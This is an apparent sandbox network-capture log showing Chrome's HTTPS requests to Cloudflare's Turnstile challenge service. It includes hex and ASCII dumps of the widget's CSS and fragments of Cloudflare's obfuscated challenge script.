2024-10-25 08:19:46 UTC	1369	IN	Data Raw: 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 30 Data Ascii: troke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#0
2024-10-25 08:19:46 UTC	1369	IN	Data Raw: 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f Data Ascii: nge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dark #challenge-o
2024-10-25 08:19:46 UTC	1369	IN	Data Raw: 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e Data Ascii: .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-helper-loop-lin
2024-10-25 08:19:46 UTC	1369	IN	Data Raw: 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 7d 74 6f 7b 66 69 6c 6c 3a 23 66 Data Ascii: fset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1303}to{fill:#f
2024-10-25 08:19:46 UTC	1369	IN	Data Raw: 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 6c 6f 67 6f 7b 68 65 69 Data Ascii: low:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-compact #logo{hei
2024-10-25 08:19:46 UTC	1369	IN	Data Raw: 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 78 2d 73 74 61 72 74 3b 6a 75 73 74 69 66 Data Ascii: rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:flex-start;justif
2024-10-25 08:19:46 UTC	1369	IN	Data Raw: 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 33 70 78 3b 73 74 72 6f 6b 65 2d 6c 69 Data Ascii: ext-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width:3px;stroke-li

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	50115	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:47 UTC	730	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8d80c89969212cc4&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:47 UTC	331	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:47 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 124295 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8d80c89edc78ddb3-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:19:47 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 76 45 73 72 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.vEsr2={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcl
2024-10-25 08:19:47 UTC	1369	IN	Data Raw: 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 74 65 72 6d 73 22 3a 22 54 65 72 6d 73 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 61 69 6c 75 72 65 22 3a 22 45 72 72 6f 72 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 74 69 6d 65 6f 75 74 22 3a 22 54 69 6d 65 64 25 32 30 6f 75 74 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 72 65 66 72 65 73 68 22 3a 22 52 65 66 72 65 73 68 22 2c 22 6f 75 74 64 61 74 65 64 5f 62 72 6f 77 73 65 72 22 3a 22 59 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 69 73 25 32 30 6f 75 74 25 32 30 6f 66 25 32 30 64 61 74 65 2e 25 32 30 55 70 64 61 74 65 25 32 30 79 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 74 6f 25 32 30 76 69 65 77 25 32 30 74 68 69 73 25 32 30 73 69 74 65 25 32 30 Data Ascii: lem%20persists.","turnstile_footer_terms":"Terms","turnstile_failure":"Error","turnstile_timeout":"Timed%20out","turnstile_refresh":"Refresh","outdated_browser":"Your%20browser%20is%20out%20of%20date.%20Update%20your%20browser%20to%20view%20this%20site%20
2024-10-25 08:19:47 UTC	1369	IN	Data Raw: 35 38 29 29 2f 36 29 2b 70 61 72 73 65 49 6e 74 28 67 4b 28 31 38 38 36 29 29 2f 37 2b 70 61 72 73 65 49 6e 74 28 67 4b 28 31 35 32 30 29 29 2f 38 2b 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 31 38 30 36 29 29 2f 39 2c 64 3d 3d 3d 66 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 35 39 38 31 30 33 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 65 4e 3d 65 4d 5b 67 4c 28 39 31 32 29 5d 2c 65 4f 3d 7b 7d 2c 65 4f 5b 67 4c 28 31 30 36 32 29 5d 3d 27 6f 27 2c 65 4f 5b 67 4c 28 31 32 38 35 29 5d 3d 27 73 27 2c 65 4f 5b 67 4c 28 31 34 37 35 29 5d 3d 27 75 27 2c 65 4f 5b 67 4c 28 38 38 39 29 5d 3d 27 7a 27 2c 65 4f 5b 67 4c 28 35 Data Ascii: 58))/6)+parseInt(gK(1886))/7+parseInt(gK(1520))/8+-parseInt(gK(1806))/9,d===f)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,598103),eM=this\|\|self,eN=eM[gL(912)],eO={},eO[gL(1062)]='o',eO[gL(1285)]='s',eO[gL(1475)]='u',eO[gL(889)]='z',eO[gL(5
2024-10-25 08:19:47 UTC	1369	IN	Data Raw: 27 3a 66 75 6e 63 74 69 6f 6e 28 4a 2c 4b 2c 4c 29 7b 72 65 74 75 72 6e 20 4a 28 4b 2c 4c 29 7d 2c 27 4a 46 69 75 49 27 3a 66 75 6e 63 74 69 6f 6e 28 4a 2c 4b 29 7b 72 65 74 75 72 6e 20 4a 2b 4b 7d 2c 27 6b 4f 4c 77 74 27 3a 66 75 6e 63 74 69 6f 6e 28 4a 2c 4b 2c 4c 29 7b 72 65 74 75 72 6e 20 4a 28 4b 2c 4c 29 7d 7d 2c 67 51 28 31 31 34 32 29 21 3d 3d 6f 5b 67 51 28 31 38 33 37 29 5d 29 3f 28 4f 62 6a 65 63 74 5b 67 51 28 31 34 33 37 29 5d 5b 67 51 28 31 39 33 34 29 5d 5b 67 51 28 31 38 31 35 29 5d 28 6a 2c 48 29 7c 7c 28 6a 5b 48 5d 3d 5b 5d 29 2c 6a 5b 48 5d 5b 67 51 28 31 37 31 33 29 5d 28 47 29 29 3a 28 4b 3d 42 5b 43 5d 2c 4c 3d 44 28 45 2c 46 2c 4b 29 2c 49 5b 67 51 28 31 38 39 30 29 5d 28 47 2c 4c 29 29 3f 28 4d 3d 49 5b 67 51 28 39 30 33 29 5d 28 Data Ascii: ':function(J,K,L){return J(K,L)},'JFiuI':function(J,K){return J+K},'kOLwt':function(J,K,L){return J(K,L)}},gQ(1142)!==o[gQ(1837)])?(Object[gQ(1437)][gQ(1934)][gQ(1815)](j,H)\|\|(j[H]=[]),j[H][gQ(1713)](G)):(K=B[C],L=D(E,F,K),I[gQ(1890)](G,L))?(M=I[gQ(903)](
2024-10-25 08:19:47 UTC	1369	IN	Data Raw: 7d 2c 27 50 68 53 62 4b 27 3a 67 55 28 35 30 37 29 2c 27 49 59 66 76 4e 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 41 69 7a 69 4e 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 45 4e 64 41 57 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 4f 47 6f 52 5a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 69 47 58 76 44 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 4d 78 61 69 53 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 50 70 53 73 7a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d Data Ascii: },'PhSbK':gU(507),'IYfvN':function(h,i){return h==i},'AiziN':function(h,i){return h\|i},'ENdAW':function(h,i){return h<<i},'OGoRZ':function(h,i){return h>i},'iGXvD':function(h,i){return h-i},'MxaiS':function(h,i){return h&i},'PpSsz':function(h,i){return h-
2024-10-25 08:19:47 UTC	1369	IN	Data Raw: 2b 2b 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 67 59 28 39 32 35 29 5d 28 30 29 2c 73 3d 30 3b 64 5b 67 59 28 31 31 35 37 29 5d 28 38 2c 73 29 3b 48 3d 48 3c 3c 31 7c 64 5b 67 59 28 35 38 33 29 5d 28 4d 2c 31 29 2c 49 3d 3d 64 5b 67 59 28 31 36 37 35 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 67 59 28 31 37 31 33 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 4d 3d 31 2c 73 3d 30 3b 73 3c 46 3b 48 3d 48 3c 3c 31 7c 4d 2c 49 3d 3d 6a 2d 31 3f 28 49 3d 30 2c 47 5b 67 59 28 31 37 31 33 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3d 30 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 67 59 28 39 32 35 29 5d 28 30 29 2c 73 3d 30 3b 31 36 3e 73 3b 48 3d 31 2e 36 36 26 4d 7c 48 3c 3c Data Ascii: ++,s++);for(M=C[gY(925)](0),s=0;d[gY(1157)](8,s);H=H<<1\|d[gY(583)](M,1),I==d[gY(1675)](j,1)?(I=0,G[gY(1713)](o(H)),H=0):I++,M>>=1,s++);}else{for(M=1,s=0;s<F;H=H<<1\|M,I==j-1?(I=0,G[gY(1713)](o(H)),H=0):I++,M=0,s++);for(M=C[gY(925)](0),s=0;16>s;H=1.66&M\|H<<
2024-10-25 08:19:47 UTC	1369	IN	Data Raw: 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 67 59 28 31 37 31 33 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 66 6f 72 28 3b 3b 29 69 66 28 48 3c 3c 3d 31 2c 49 3d 3d 64 5b 67 59 28 31 35 30 32 29 5d 28 6a 2c 31 29 29 7b 47 5b 67 59 28 31 37 31 33 29 5d 28 6f 28 48 29 29 3b 62 72 65 61 6b 7d 65 6c 73 65 20 49 2b 2b 3b 72 65 74 75 72 6e 20 47 5b 67 59 28 38 32 31 29 5d 28 27 27 29 7d 2c 27 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 67 5a 29 7b 72 65 74 75 72 6e 20 67 5a 3d 67 55 2c 64 5b 67 5a 28 31 39 33 31 29 5d 28 6e 75 6c 6c 2c 68 29 3f 27 27 3a 64 5b 67 5a 28 31 36 33 35 29 5d 28 27 27 2c 68 29 3f 6e 75 6c 6c 3a 66 2e 69 28 68 5b 67 5a 28 31 33 39 30 29 5d 2c 33 32 37 36 38 2c 66 75 6e 63 74 69 6f 6e 28 69 2c 68 30 29 Data Ascii: j,1)?(I=0,G[gY(1713)](o(H)),H=0):I++,M>>=1,s++);for(;;)if(H<<=1,I==d[gY(1502)](j,1)){G[gY(1713)](o(H));break}else I++;return G[gY(821)]('')},'j':function(h,gZ){return gZ=gU,d[gZ(1931)](null,h)?'':d[gZ(1635)]('',h)?null:f.i(h[gZ(1390)],32768,function(i,h0)
2024-10-25 08:19:47 UTC	1369	IN	Data Raw: 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 46 2a 28 30 3c 4e 3f 31 3a 30 29 2c 46 3c 3c 3d 31 29 3b 73 5b 42 2b 2b 5d 3d 65 28 4a 29 2c 4f 3d 64 5b 68 31 28 31 34 31 36 29 5d 28 42 2c 31 29 2c 78 2d 2d 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 68 31 28 31 30 36 38 29 5d 28 32 2c 31 36 29 2c 46 3d 31 3b 46 21 3d 4b 3b 4e 3d 47 26 48 2c 48 3e 3e 3d 31 2c 30 3d 3d 48 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 28 64 5b 68 31 28 31 30 39 39 29 5d 28 30 2c 4e 29 3f 31 3a 30 29 2a 46 2c 46 3c 3c 3d 31 29 3b 73 5b 42 2b 2b 5d 3d 65 28 4a 29 2c 4f 3d 42 2d 31 2c 78 2d 2d 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 20 44 5b 68 31 28 38 32 31 29 5d 28 27 27 29 7d 69 66 28 64 5b 68 Data Ascii: H=j,G=o(I++)),J\|=F(0<N?1:0),F<<=1);s[B++]=e(J),O=d[h1(1416)](B,1),x--;break;case 1:for(J=0,K=Math[h1(1068)](2,16),F=1;F!=K;N=G&H,H>>=1,0==H&&(H=j,G=o(I++)),J\|=(d[h1(1099)](0,N)?1:0)F,F<<=1);s[B++]=e(J),O=B-1,x--;break;case 2:return D[h1(821)]('')}if(d[h
2024-10-25 08:19:47 UTC	1369	IN	Data Raw: 67 4c 28 31 38 36 38 29 2c 66 75 6e 63 74 69 6f 6e 28 68 4c 2c 63 29 7b 68 4c 3d 67 4c 2c 63 3d 7b 27 63 76 54 70 6e 27 3a 66 75 6e 63 74 69 6f 6e 28 64 2c 65 2c 66 29 7b 72 65 74 75 72 6e 20 64 28 65 2c 66 29 7d 7d 2c 63 5b 68 4c 28 31 30 32 31 29 5d 28 73 65 74 54 69 6d 65 6f 75 74 2c 66 39 2c 30 29 7d 29 3a 73 65 74 54 69 6d 65 6f 75 74 28 66 39 2c 30 29 2c 65 4d 5b 67 4c 28 31 33 35 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 4d 2c 64 2c 65 2c 66 2c 67 29 7b 68 4d 3d 67 4c 2c 64 3d 7b 7d 2c 64 5b 68 4d 28 39 39 34 29 5d 3d 68 4d 28 35 39 36 29 2c 64 5b 68 4d 28 31 39 38 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 3d 69 7d 2c 64 5b 68 4d 28 31 35 37 35 29 5d 3d 68 4d 28 31 39 39 34 29 2c 64 5b 68 4d 28 31 31 37 36 Data Ascii: gL(1868),function(hL,c){hL=gL,c={'cvTpn':function(d,e,f){return d(e,f)}},c[hL(1021)](setTimeout,f9,0)}):setTimeout(f9,0),eM[gL(1355)]=function(hM,d,e,f,g){hM=gL,d={},d[hM(994)]=hM(596),d[hM(1988)]=function(h,i){return h!==i},d[hM(1575)]=hM(1994),d[hM(1176
2024-10-25 08:19:47 UTC	1369	IN	Data Raw: 68 4f 28 31 34 36 37 29 5d 29 2c 6d 3d 6b 5b 68 4f 28 34 39 36 29 5d 28 69 2c 68 4f 28 39 39 30 29 29 2c 6e 3d 65 4d 5b 68 4f 28 31 35 37 39 29 5d 5b 68 4f 28 31 36 36 36 29 5d 3f 27 68 2f 27 2b 65 4d 5b 68 4f 28 31 35 37 39 29 5d 5b 68 4f 28 31 36 36 36 29 5d 2b 27 2f 27 3a 27 27 2c 6f 3d 6b 5b 68 4f 28 31 36 38 38 29 5d 28 6b 5b 68 4f 28 31 36 38 38 29 5d 28 6b 5b 68 4f 28 37 32 38 29 5d 28 6b 5b 68 4f 28 31 33 37 32 29 5d 2b 6e 2b 6b 5b 68 4f 28 31 32 30 35 29 5d 2c 31 29 2c 6b 5b 68 4f 28 39 38 32 29 5d 29 2b 65 4d 5b 68 4f 28 31 35 37 39 29 5d 5b 68 4f 28 31 37 32 31 29 5d 2b 27 2f 27 2b 65 4d 5b 68 4f 28 31 35 37 39 29 5d 2e 63 48 2b 27 2f 27 2c 65 4d 5b 68 4f 28 31 35 37 39 29 5d 5b 68 4f 28 31 33 37 39 29 5d 29 2c 73 3d 7b 7d 2c 73 5b 68 4f 28 31 Data Ascii: hO(1467)]),m=k[hO(496)](i,hO(990)),n=eM[hO(1579)][hO(1666)]?'h/'+eM[hO(1579)][hO(1666)]+'/':'',o=k[hO(1688)](k[hO(1688)](k[hO(728)](k[hO(1372)]+n+k[hO(1205)],1),k[hO(982)])+eM[hO(1579)][hO(1721)]+'/'+eM[hO(1579)].cH+'/',eM[hO(1579)][hO(1379)]),s={},s[hO(1

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	50120	104.18.94.41	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:48 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8d80c89969212cc4&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:48 UTC	331	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:48 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 118613 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8d80c8a5cbae6bb0-DFW alt-svc: h3=":443"; ma=86400
